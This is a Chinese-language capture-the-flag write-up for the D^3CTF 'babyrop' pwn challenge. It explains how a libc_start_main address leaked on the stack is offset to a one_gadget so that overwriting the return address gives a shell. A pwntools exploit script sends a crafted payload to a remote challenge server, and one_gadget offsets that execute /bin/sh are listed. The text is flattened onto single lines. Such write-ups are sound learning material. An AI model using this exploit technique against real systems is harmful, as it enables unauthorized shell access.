D^3CTF babyrop 经验总结 PWN

思路：
调试时发现在栈中有一个libc_start_main的地址

文章图片

可以根据这个地址算出距one_gadget 的偏移

文章图片

得到这个偏移后再让libc_start_main这个地址加上这个偏移即可得到one_gaget的地址，之后再用这个地址覆盖ret即可getshell，需要注意的是要满足one_gadget的约束条件，我选则的是偏移为0x4526a 处的one_gadget, 所以需要保证[rsp + 0x30] == NULL 满足
调用的相关函数：
使栈中的数据相加

文章图片

调整 “栈指针”, 使"栈指针"想上移动

文章图片

向栈中写入零

文章图片

还需要注意的是检查的数据的类型是无符号数，在多次调用0x28指令后
前三个入栈的指令都无法执行，所以要通过其它指令来达到写零与覆写ret的目的

文章图片

【D^3CTF babyrop 经验总结】EXP：

from pwn import *context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h']) context.log_level='debug' debug = 1 d = 1execve = "./babyrop" if debug == 1: p = process(execve) if d == 1: gdb.attach(p) else: p = remote("106.54.67.184", 15924)#0x28 -> *(_DWORD*)(a3 + 16) = 0 #0x42 -> *a1 - 8 #0x34 -> *a1 - 8, copy stack datapayload = '\x28\x28\x28' + '\x34'*12 + '\x56' + p32(0x24a3a) + '\x21' + '\x34\x34\x34\x34\x34' p.sendline(payload)''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''raw_input()p.interactive()

复现结果：

文章图片

D^3CTF babyrop 经验总结

推荐阅读

再看final关键字

兼职和主业之间的比重该如何安排（）

佳能cp910照片不完整佳能cp910照片格式

单反相机镜头上的字母和数字都代表什么，比如说佳能 EF-S 18-55mm f/3.5-5.6 II USM 镜头。请具体说明一

大金空调主板代码故障排除图解大金空调lc是什么故障 ,要考虑这些方面

afc电路的分析,Afc电路

求几本和灵舟遮天类似的小说

matlab对数据fft分析,MATLAB的FFT分析意义

孩子|逼孩子叫人、表演节目……最有毒的中国式见面礼，是亲妈就别这样做！

男人六十岁以后要疏远哪些关系？

word怎么删除空白页

荣耀pl2021年高性价比千元机推荐

豆皮与腐竹有哪些什么区别？

猫一年能怀几次孕

体育游戏100例体育游戏有哪些

黄冰糖怎么分辨是没有染色的

喜之郎果冻太空人广告喜之郎果冻广告

人生感悟个性签名经典句子有什么？

桃源深处有人家下一句桃源深处有人家育种配方有什么

最终幻想起源全人物介绍最终幻想起源全角色图鉴分享杰克